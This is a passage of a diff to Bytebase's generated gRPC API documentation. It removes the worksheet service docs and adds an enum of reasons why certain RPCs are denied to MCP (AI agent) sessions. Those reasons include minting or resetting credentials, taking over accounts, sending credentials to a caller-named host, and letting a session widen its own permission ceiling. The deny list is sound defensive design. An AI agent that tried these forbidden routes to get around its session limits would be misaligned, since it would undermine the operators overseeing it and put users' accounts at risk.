-| GetWorksheet | [GetWorksheetRequest](#bytebase-v1-GetWorksheetRequest) | [Worksheet](#bytebase-v1-Worksheet) | Get a worksheet by name. The users can access this method if, - they are the creator of the worksheet; - they have bb.worksheets.get permission on the workspace; - the sheet is shared with them with PROJECT_READ and PROJECT_WRITE visibility, and they have bb.projects.get permission on the project. Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets) |
-| ListWorksheets | [ListWorksheetsRequest](#bytebase-v1-ListWorksheetsRequest) | [ListWorksheetsResponse](#bytebase-v1-ListWorksheetsResponse) | List worksheets. This is used for listing worksheets in a project, or across all projects by using `projects/-`. Permissions required: bb.worksheets.list |
-| ListWorksheetFolders | [ListWorksheetFoldersRequest](#bytebase-v1-ListWorksheetFoldersRequest) | [ListWorksheetFoldersResponse](#bytebase-v1-ListWorksheetFoldersResponse) | List the caller&#39;s worksheet folders. Only folders stored in the caller&#39;s worksheet organizer are returned. |
-| SearchWorksheets | [SearchWorksheetsRequest](#bytebase-v1-SearchWorksheetsRequest) | [SearchWorksheetsResponse](#bytebase-v1-SearchWorksheetsResponse) | Search for worksheets. This is used for finding my worksheets or worksheets shared by other people. The sheet accessibility is the same as GetWorksheet(). Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets) |
-| UpdateWorksheet | [UpdateWorksheetRequest](#bytebase-v1-UpdateWorksheetRequest) | [Worksheet](#bytebase-v1-Worksheet) | Update a worksheet. The users can access this method if, - they are the creator of the worksheet; - they have bb.worksheets.manage permission on the workspace; - the sheet is shared with them with PROJECT_WRITE visibility, and they have bb.projects.get permission on the project. Permissions required: bb.worksheets.manage (or creator, or project member for PROJECT_WRITE worksheets) |
-| UpdateWorksheetOrganizer | [UpdateWorksheetOrganizerRequest](#bytebase-v1-UpdateWorksheetOrganizerRequest) | [WorksheetOrganizer](#bytebase-v1-WorksheetOrganizer) | Update the organizer of a worksheet. The access is the same as UpdateWorksheet method. Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets) |
-| BatchUpdateWorksheetOrganizer | [BatchUpdateWorksheetOrganizerRequest](#bytebase-v1-BatchUpdateWorksheetOrganizerRequest) | [BatchUpdateWorksheetOrganizerResponse](#bytebase-v1-BatchUpdateWorksheetOrganizerResponse) | Batch update the organizers of worksheets. The access is the same as UpdateWorksheet method. Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets) |
-| DeleteWorksheet | [DeleteWorksheetRequest](#bytebase-v1-DeleteWorksheetRequest) | [.google.protobuf.Empty](#google-protobuf-Empty) | Delete a worksheet. The access is the same as UpdateWorksheet method. Permissions required: bb.worksheets.manage (or creator, or project member for PROJECT_WRITE worksheets) |
-
-
-
-
-
<a name="v1_workspace_service-proto"></a>
<p align="right"><a href="#top">Top</a></p>
diff --git a/proto/gen/grpc-doc/v1/index.html b/proto/gen/grpc-doc/v1/index.html
index 8ea98d5afb..6114f4dbcd 100644
--- a/proto/gen/grpc-doc/v1/index.html
+++ b/proto/gen/grpc-doc/v1/index.html
@@ -183,6 +183,10 @@
<a href="#bytebase.v1.AuthMethod"><span class="badge">E</span>AuthMethod</a>
</li>
+ <li>
+ <a href="#bytebase.v1.MCPForbiddenReason"><span class="badge">E</span>MCPForbiddenReason</a>
+ </li>
+
<li>
<a href="#bytebase.v1.MCPMethodClass"><span class="badge">E</span>MCPMethodClass</a>
</li>
@@ -208,6 +212,10 @@
<a href="#v1%2fannotation.proto-extensions"><span class="badge">X</span>File-level Extensions</a>
</li>
+ <li>
+ <a href="#v1%2fannotation.proto-extensions"><span class="badge">X</span>File-level Extensions</a>
+ </li>
+
</ul>
</li>
@@ -3083,93 +3091,6 @@
</li>
- <li>
- <a href="#v1%2fworksheet_service.proto">v1/worksheet_service.proto</a>
- <ul>
-
- <li>
- <a href="#bytebase.v1.BatchUpdateWorksheetOrganizerRequest"><span class="badge">M</span>BatchUpdateWorksheetOrganizerRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.BatchUpdateWorksheetOrganizerResponse"><span class="badge">M</span>BatchUpdateWorksheetOrganizerResponse</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.CreateWorksheetRequest"><span class="badge">M</span>CreateWorksheetRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.DeleteWorksheetRequest"><span class="badge">M</span>DeleteWorksheetRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.GetWorksheetRequest"><span class="badge">M</span>GetWorksheetRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.ListWorksheetFoldersRequest"><span class="badge">M</span>ListWorksheetFoldersRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.ListWorksheetFoldersResponse"><span class="badge">M</span>ListWorksheetFoldersResponse</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.ListWorksheetsRequest"><span class="badge">M</span>ListWorksheetsRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.ListWorksheetsResponse"><span class="badge">M</span>ListWorksheetsResponse</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.SearchWorksheetsRequest"><span class="badge">M</span>SearchWorksheetsRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.SearchWorksheetsResponse"><span class="badge">M</span>SearchWorksheetsResponse</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.UpdateWorksheetOrganizerRequest"><span class="badge">M</span>UpdateWorksheetOrganizerRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.UpdateWorksheetRequest"><span class="badge">M</span>UpdateWorksheetRequest</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.Worksheet"><span class="badge">M</span>Worksheet</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.WorksheetFolder"><span class="badge">M</span>WorksheetFolder</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.WorksheetOrganizer"><span class="badge">M</span>WorksheetOrganizer</a>
- </li>
-
-
- <li>
- <a href="#bytebase.v1.Worksheet.Visibility"><span class="badge">E</span>Worksheet.Visibility</a>
- </li>
-
- <li>
- <a href="#bytebase.v1.WorksheetFolder.Category"><span class="badge">E</span>WorksheetFolder.Category</a>
- </li>
-
-
-
- <li>
- <a href="#bytebase.v1.WorksheetService"><span class="badge">S</span>WorksheetService</a>
- </li>
-
- </ul>
- </li>
-
-
<li>
<a href="#v1%2fworkspace_service.proto">v1/workspace_service.proto</a>
<ul>
@@ -3263,6 +3184,75 @@
</tbody>
</table>
+ <h3 id="bytebase.v1.MCPForbiddenReason">MCPForbiddenReason</h3>
+ <p>Why an RPC is FORBIDDEN to MCP sessions. The mechanism, not the wording:</p><p>each value names what its methods actually do, and the serving side turns</p><p>that into a sentence. A denial whose stated reason has drifted from the</p><p>mechanism is worse than a bare refusal, because it is the thing the next</p><p>reader trusts — so a method changing what it does changes its reason here.</p>
+ <table class="enum-table">
+ <thead>
+ <tr><td>Name</td><td>Number</td><td>Description</td></tr>
+ </thead>
+ <tbody>
+
+ <tr>
+ <td>MCP_FORBIDDEN_REASON_UNSPECIFIED</td>
+ <td>0</td>
+ <td><p>No reason recorded. The method is still denied — mcp_method_class is what
+enforces — and the denial falls back to generic wording.</p></td>
+ </tr>
+
+ <tr>
+ <td>MINTS_CREDENTIAL</td>
+ <td>1</td>
+ <td><p>Puts a token for the caller&#39;s own principal in the response body.</p></td>
+ </tr>
+
+ <tr>
+ <td>RESETS_CREDENTIAL</td>
+ <td>2</td>
+ <td><p>Drives the out-of-band reset flow that sets or delivers the secret a
+login accepts.</p></td>
+ </tr>
+
+ <tr>
+ <td>TAKES_OVER_ACCOUNT</td>
+ <td>3</td>
+ <td><p>Rewrites an account&#39;s own credentials, which would let the session log in
+as that account.</p></td>
+ </tr>
+
+ <tr>
+ <td>ENDS_SESSION</td>
+ <td>4</td>
+ <td><p>Destroys the human&#39;s own login session.</p></td>
+ </tr>
+
+ <tr>
+ <td>ENDS_MEMBERSHIP</td>
+ <td>5</td>
+ <td><p>Destroys the caller&#39;s own workspace membership and mints a plain
+workspace token on the way out.</p></td>
+ </tr>
+
+ <tr>
+ <td>MINTS_CREDENTIAL_FOR_OTHERS</td>
+ <td>6</td>
+ <td><p>Leaves someone holding a principal the caller is not — by issuing its
+credential, carrying an existing one out to a host the caller named,
+choosing what will later be trusted to mint one, or redirecting where one
+gets delivered.</p></td>
+ </tr>
+
+ <tr>
+ <td>REWRITES_SESSION_BOUNDARY</td>
+ <td>7</td>
+ <td><p>Rewrites the workspace configuration that governs the session making the
+call — the MCP switch itself, the sign-in and SSO settings, and the mail
+relay that carries credential resets. A session that can widen its own
+ceiling is not bounded by it.</p></td>
+ </tr>
+
+ </tbody>
+ </table>
+
<h3 id="bytebase.v1.MCPMethodClass">MCPMethodClass</h3>
<p>Classification of an RPC for MCP (AI agent) sessions. The effective</p><p>authorization of an MCP session is this classification intersected with the</p><p>caller's own RBAC: it can only ever narrow what the human could do, never</p><p>widen it.</p>
<table class="enum-table">
@@ -3336,6 +3326,17 @@ console; an agent acting for them does not get to.</p></td>
<td><p>The authorization method to use for this RPC.</p></td>
</tr>
+ <tr>
+ <td>mcp_forbidden_reason</td>
+ <td><a href="#bytebase.v1.MCPForbiddenReason">MCPForbiddenReason</a></td>
+ <td><a href="#google.protobuf.MethodOptions">.google.protobuf.MethodOptions</a></td>
+ <td>100005</td>
+ <td><p>Why the method is forbidden to MCP sessions. Meaningful only alongside
+mcp_method_class = FORBIDDEN; the denial names it so the agent, and the
+operator reading the audit row, learn why rather than just that it was
+refused.</p></td>
+ </tr>
+
<tr>
<td>mcp_method_class</td>
<td><a href="#bytebase.v1.MCPMethodClass">MCPMethodClass</a></td>
@@ -35229,972 +35230,6 @@ Permissions required: bb.workloadIdentities.undelete</p></td>
- <div class="file-heading">
- <h2 id="v1/worksheet_service.proto">v1/worksheet_service.proto</h2><a href="#title">Top</a>
- </div>
- <p></p>
-
-
- <h3 id="bytebase.v1.BatchUpdateWorksheetOrganizerRequest">BatchUpdateWorksheetOrganizerRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>parent</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The parent resource whose worksheets&#39; organizers are updated.
-Format: projects/{project} </p></td>
- </tr>
-
- <tr>
- <td>filter</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>To filter the batch update target.
-The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
-Supported filter:
-- name: the worksheet name in &#34;projects/{project}/worksheets/{worksheet}&#34; format, support &#34;==&#34; and &#34;in [xx]&#34; operator.
-- creator: the worksheet creator in &#34;users/{email}&#34; format, support &#34;==&#34; and &#34;!=&#34; operator.
-- starred: should be &#34;true&#34; or &#34;false&#34;, filter starred/unstarred sheets, support &#34;==&#34; operator.
-- visibility: check Visibility enum in the Worksheet message for values, support &#34;==&#34; and &#34;in [xx]&#34; operator.
-- folder: the worksheet organizer folder path, support exact &#34;==&#34; operator. </p></td>
- </tr>
-
- <tr>
- <td>organizer</td>
- <td><a href="#bytebase.v1.WorksheetOrganizer">WorksheetOrganizer</a></td>
- <td></td>
- <td><p>The organizer fields to update. </p></td>
- </tr>
-
- <tr>
- <td>update_mask</td>
- <td><a href="#google.protobuf.FieldMask">google.protobuf.FieldMask</a></td>
- <td></td>
- <td><p>The list of fields to be updated.
-Fields are specified relative to the worksheet organizer.
-Only support update the following fields for now:
-- `starred`
-- `folders` </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.BatchUpdateWorksheetOrganizerResponse">BatchUpdateWorksheetOrganizerResponse</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>worksheet_organizers</td>
- <td><a href="#bytebase.v1.WorksheetOrganizer">WorksheetOrganizer</a></td>
- <td>repeated</td>
- <td><p> </p></td>
- </tr>
-
- <tr>
- <td>updated_count</td>
- <td><a href="#int32">int32</a></td>
- <td></td>
- <td><p> </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.CreateWorksheetRequest">CreateWorksheetRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>parent</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The parent resource where this worksheet will be created.
-Format: projects/{project} </p></td>
- </tr>
-
- <tr>
- <td>worksheet</td>
- <td><a href="#bytebase.v1.Worksheet">Worksheet</a></td>
- <td></td>
- <td><p>The worksheet to create. </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.DeleteWorksheetRequest">DeleteWorksheetRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>name</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The name of the worksheet to delete.
-Format: projects/{project}/worksheets/{worksheet} </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.GetWorksheetRequest">GetWorksheetRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>name</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The name of the worksheet to retrieve.
-Format: projects/{project}/worksheets/{worksheet} </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.ListWorksheetFoldersRequest">ListWorksheetFoldersRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>parent</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The parent resource of the worksheet folders.
-Format: projects/{project} </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.ListWorksheetFoldersResponse">ListWorksheetFoldersResponse</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>folders</td>
- <td><a href="#bytebase.v1.WorksheetFolder">WorksheetFolder</a></td>
- <td>repeated</td>
- <td><p>The caller&#39;s worksheet folders. </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.ListWorksheetsRequest">ListWorksheetsRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>parent</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The parent resource of the worksheets.
-Format: projects/{project}
-Use &#34;projects/-&#34; to list worksheets across all projects. </p></td>
- </tr>
-
- <tr>
- <td>filter</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>To filter the list result.
-The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
-Supported filter:
-- creator: the worksheet creator in &#34;users/{email}&#34; format, support &#34;==&#34; and &#34;!=&#34; operator.
-
-For example:
-creator == &#34;users/{email}&#34;
-creator != &#34;users/{email}&#34; </p></td>
- </tr>
-
- <tr>
- <td>page_size</td>
- <td><a href="#int32">int32</a></td>
- <td></td>
- <td><p>The maximum number of worksheets to return. The service may return fewer than
-this value.
-If unspecified, at most 10 worksheets will be returned.
-The maximum value is 1000; values above 1000 will be coerced to 1000. </p></td>
- </tr>
-
- <tr>
- <td>page_token</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>A page token, received from a previous `ListWorksheets` call.
-Provide this to retrieve the subsequent page.
-
-When paginating, all other parameters provided to `ListWorksheets` must match
-the call that provided the page token. </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.ListWorksheetsResponse">ListWorksheetsResponse</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>worksheets</td>
- <td><a href="#bytebase.v1.Worksheet">Worksheet</a></td>
- <td>repeated</td>
- <td><p>The worksheets from the specified parent. </p></td>
- </tr>
-
- <tr>
- <td>next_page_token</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>A token to retrieve next page of worksheets.
-Pass this value in the page_token field in the subsequent call to
-`ListWorksheets` method to retrieve the next page of worksheets. </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.SearchWorksheetsRequest">SearchWorksheetsRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>parent</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The parent resource of the worksheets.
-Format: projects/{project} </p></td>
- </tr>
-
- <tr>
- <td>filter</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>To filter the search result.
-The syntax and semantics of CEL are documented at https://github.com/google/cel-spec
-
-Supported filter:
-- name: the worksheet name in &#34;projects/{project}/worksheets/{worksheet}&#34; format, support &#34;==&#34; and &#34;in [xx]&#34; operator.
-- title: the worksheet title, support &#34;contains&#34; operator.
-- creator: the worksheet creator in &#34;users/{email}&#34; format, support &#34;==&#34; and &#34;!=&#34; operator.
-- starred: should be &#34;true&#34; or &#34;false&#34;, filter starred/unstarred sheets, support &#34;==&#34; operator.
-- visibility: check Visibility enum in the Worksheet message for values, support &#34;==&#34; and &#34;in [xx]&#34; operator.
-- folder: the worksheet organizer folder path, support &#34;==&#34; operator.
-
-For example:
-creator == &#34;users/{email}&#34;
-title.contains(&#34;worksheet title&#34;)
-creator != &#34;users/{email}&#34;
-starred == true
-starred == false
-visibility in [&#34;PRIVATE&#34;, &#34;PROJECT_READ&#34;, &#34;PROJECT_WRITE&#34;]
-visibility == &#34;PRIVATE&#34;
-folder == &#34;foo/bar&#34; </p></td>
- </tr>
-
- <tr>
- <td>page_size</td>
- <td><a href="#int32">int32</a></td>
- <td></td>
- <td><p>The maximum number of worksheets to return. The service may return fewer than
-this value.
-If unspecified, at most 10 worksheets will be returned.
-The maximum value is 1000; values above 1000 will be coerced to 1000. </p></td>
- </tr>
-
- <tr>
- <td>page_token</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>A page token, received from a previous `SearchWorksheets` call.
-Provide this to retrieve the subsequent page. </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.SearchWorksheetsResponse">SearchWorksheetsResponse</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>worksheets</td>
- <td><a href="#bytebase.v1.Worksheet">Worksheet</a></td>
- <td>repeated</td>
- <td><p>The worksheets that matched the search criteria. </p></td>
- </tr>
-
- <tr>
- <td>next_page_token</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>A token to retrieve next page of worksheets.
-Pass this value in the page_token field in the subsequent call to
-`SearchWorksheets` method to retrieve the next page of worksheets. </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.UpdateWorksheetOrganizerRequest">UpdateWorksheetOrganizerRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>organizer</td>
- <td><a href="#bytebase.v1.WorksheetOrganizer">WorksheetOrganizer</a></td>
- <td></td>
- <td><p>The organizer to update.
-
-The organizer&#39;s `worksheet` field is used to identify the worksheet.
-Format: projects/{project}/worksheets/{worksheet} </p></td>
- </tr>
-
- <tr>
- <td>update_mask</td>
- <td><a href="#google.protobuf.FieldMask">google.protobuf.FieldMask</a></td>
- <td></td>
- <td><p>The list of fields to be updated.
-Fields are specified relative to the worksheet organizer.
-Only support update the following fields for now:
-- `starred` </p></td>
- </tr>
-
- <tr>
- <td>allow_missing</td>
- <td><a href="#bool">bool</a></td>
- <td></td>
- <td><p>If set to true, and the worksheet organizer is not found, a new worksheet organizer will be created.
-In this situation, `update_mask` is ignored. </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.UpdateWorksheetRequest">UpdateWorksheetRequest</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>worksheet</td>
- <td><a href="#bytebase.v1.Worksheet">Worksheet</a></td>
- <td></td>
- <td><p>The worksheet to update.
-
-The worksheet&#39;s `name` field is used to identify the worksheet to update.
-Format: projects/{project}/worksheets/{worksheet} </p></td>
- </tr>
-
- <tr>
- <td>update_mask</td>
- <td><a href="#google.protobuf.FieldMask">google.protobuf.FieldMask</a></td>
- <td></td>
- <td><p>The list of fields to be updated.
-Fields are specified relative to the worksheet.
-(e.g., `title`, `statement`; *not* `worksheet.title` or `worksheet.statement`)
-Only support update the following fields for now:
-- `title`
-- `statement`
-- `starred`
-- `visibility` </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.Worksheet">Worksheet</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>name</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The name of the worksheet resource, generated by the server.
-Canonical parent is project.
-Format: projects/{project}/worksheets/{worksheet} </p></td>
- </tr>
-
- <tr>
- <td>project</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The project resource name.
-Format: projects/{project} </p></td>
- </tr>
-
- <tr>
- <td>database</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The database resource name.
-Format: instances/{instance}/databases/{database}
-If the database parent doesn&#39;t exist, the database field is empty. </p></td>
- </tr>
-
- <tr>
- <td>title</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The title of the worksheet. </p></td>
- </tr>
-
- <tr>
- <td>creator</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The creator of the Worksheet.
-Format: users/{email} </p></td>
- </tr>
-
- <tr>
- <td>create_time</td>
- <td><a href="#google.protobuf.Timestamp">google.protobuf.Timestamp</a></td>
- <td></td>
- <td><p>The create time of the worksheet. </p></td>
- </tr>
-
- <tr>
- <td>update_time</td>
- <td><a href="#google.protobuf.Timestamp">google.protobuf.Timestamp</a></td>
- <td></td>
- <td><p>The last update time of the worksheet. </p></td>
- </tr>
-
- <tr>
- <td>content</td>
- <td><a href="#bytes">bytes</a></td>
- <td></td>
- <td><p>The content of the worksheet.
-By default, it will be cut off in SearchWorksheet() method. If it doesn&#39;t match the `content_size`, you can
-use GetWorksheet() request to retrieve the full content. </p></td>
- </tr>
-
- <tr>
- <td>content_size</td>
- <td><a href="#int64">int64</a></td>
- <td></td>
- <td><p>content_size is the full size of the content, may not match the size of the `content` field. </p></td>
- </tr>
-
- <tr>
- <td>visibility</td>
- <td><a href="#bytebase.v1.Worksheet.Visibility">Worksheet.Visibility</a></td>
- <td></td>
- <td><p> </p></td>
- </tr>
-
- <tr>
- <td>starred</td>
- <td><a href="#bool">bool</a></td>
- <td></td>
- <td><p>starred indicates whether the worksheet is starred by the current authenticated user. </p></td>
- </tr>
-
- <tr>
- <td>folders</td>
- <td><a href="#string">string</a></td>
- <td>repeated</td>
- <td><p> </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.WorksheetFolder">WorksheetFolder</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>folders</td>
- <td><a href="#string">string</a></td>
- <td>repeated</td>
- <td><p>The folder path segments. </p></td>
- </tr>
-
- <tr>
- <td>category</td>
- <td><a href="#bytebase.v1.WorksheetFolder.Category">WorksheetFolder.Category</a></td>
- <td></td>
- <td><p>The folder category. </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.WorksheetOrganizer">WorksheetOrganizer</h3>
- <p></p>
-
-
- <table class="field-table">
- <thead>
- <tr><td>Field</td><td>Type</td><td>Label</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>worksheet</td>
- <td><a href="#string">string</a></td>
- <td></td>
- <td><p>The name of the worksheet.
-Format: projects/{project}/worksheets/{worksheet} </p></td>
- </tr>
-
- <tr>
- <td>starred</td>
- <td><a href="#bool">bool</a></td>
- <td></td>
- <td><p>starred means if the worksheet is starred. </p></td>
- </tr>
-
- <tr>
- <td>folders</td>
- <td><a href="#string">string</a></td>
- <td>repeated</td>
- <td><p> </p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
-
-
- <h3 id="bytebase.v1.Worksheet.Visibility">Worksheet.Visibility</h3>
- <p></p>
- <table class="enum-table">
- <thead>
- <tr><td>Name</td><td>Number</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>VISIBILITY_UNSPECIFIED</td>
- <td>0</td>
- <td><p></p></td>
- </tr>
-
- <tr>
- <td>PROJECT_READ</td>
- <td>1</td>
- <td><p>Read access in project scope, worksheet OWNER/DBA and project OWNER can read/write, other project members can read.</p></td>
- </tr>
-
- <tr>
- <td>PROJECT_WRITE</td>
- <td>2</td>
- <td><p>Write access in project scope, worksheet OWNER/DBA and all members in the project can write the worksheet.</p></td>
- </tr>
-
- <tr>
- <td>PRIVATE</td>
- <td>3</td>
- <td><p>Private, only worksheet OWNER can read/write.</p></td>
- </tr>
-
- </tbody>
- </table>
-
- <h3 id="bytebase.v1.WorksheetFolder.Category">WorksheetFolder.Category</h3>
- <p></p>
- <table class="enum-table">
- <thead>
- <tr><td>Name</td><td>Number</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>CATEGORY_UNSPECIFIED</td>
- <td>0</td>
- <td><p></p></td>
- </tr>
-
- <tr>
- <td>MINE</td>
- <td>1</td>
- <td><p></p></td>
- </tr>
-
- <tr>
- <td>SHARED</td>
- <td>2</td>
- <td><p></p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
-
- <h3 id="bytebase.v1.WorksheetService">WorksheetService</h3>
- <p>WorksheetService manages SQL worksheets for query development.</p>
- <table class="enum-table">
- <thead>
- <tr><td>Method Name</td><td>Request Type</td><td>Response Type</td><td>Description</td></tr>
- </thead>
- <tbody>
-
- <tr>
- <td>CreateWorksheet</td>
- <td><a href="#bytebase.v1.CreateWorksheetRequest">CreateWorksheetRequest</a></td>
- <td><a href="#bytebase.v1.Worksheet">Worksheet</a></td>
- <td><p>Creates a personal worksheet used in SQL Editor. Any authenticated user can create their own worksheets.
-Permissions required: None (authenticated users only)</p></td>
- </tr>
-
- <tr>
- <td>GetWorksheet</td>
- <td><a href="#bytebase.v1.GetWorksheetRequest">GetWorksheetRequest</a></td>
- <td><a href="#bytebase.v1.Worksheet">Worksheet</a></td>
- <td><p>Get a worksheet by name.
-The users can access this method if,
-- they are the creator of the worksheet;
-- they have bb.worksheets.get permission on the workspace;
-- the sheet is shared with them with PROJECT_READ and PROJECT_WRITE visibility, and they have bb.projects.get permission on the project.
-Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)</p></td>
- </tr>
-
- <tr>
- <td>ListWorksheets</td>
- <td><a href="#bytebase.v1.ListWorksheetsRequest">ListWorksheetsRequest</a></td>
- <td><a href="#bytebase.v1.ListWorksheetsResponse">ListWorksheetsResponse</a></td>
- <td><p>List worksheets.
-This is used for listing worksheets in a project, or across all projects by using `projects/-`.
-Permissions required: bb.worksheets.list</p></td>
- </tr>
-
- <tr>
- <td>ListWorksheetFolders</td>
- <td><a href="#bytebase.v1.ListWorksheetFoldersRequest">ListWorksheetFoldersRequest</a></td>
- <td><a href="#bytebase.v1.ListWorksheetFoldersResponse">ListWorksheetFoldersResponse</a></td>
- <td><p>List the caller&#39;s worksheet folders.
-Only folders stored in the caller&#39;s worksheet organizer are returned.</p></td>
- </tr>
-
- <tr>
- <td>SearchWorksheets</td>
- <td><a href="#bytebase.v1.SearchWorksheetsRequest">SearchWorksheetsRequest</a></td>
- <td><a href="#bytebase.v1.SearchWorksheetsResponse">SearchWorksheetsResponse</a></td>
- <td><p>Search for worksheets.
-This is used for finding my worksheets or worksheets shared by other people.
-The sheet accessibility is the same as GetWorksheet().
-Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)</p></td>
- </tr>
-
- <tr>
- <td>UpdateWorksheet</td>
- <td><a href="#bytebase.v1.UpdateWorksheetRequest">UpdateWorksheetRequest</a></td>
- <td><a href="#bytebase.v1.Worksheet">Worksheet</a></td>
- <td><p>Update a worksheet.
-The users can access this method if,
-- they are the creator of the worksheet;
-- they have bb.worksheets.manage permission on the workspace;
-- the sheet is shared with them with PROJECT_WRITE visibility, and they have bb.projects.get permission on the project.
-Permissions required: bb.worksheets.manage (or creator, or project member for PROJECT_WRITE worksheets)</p></td>
- </tr>
-
- <tr>
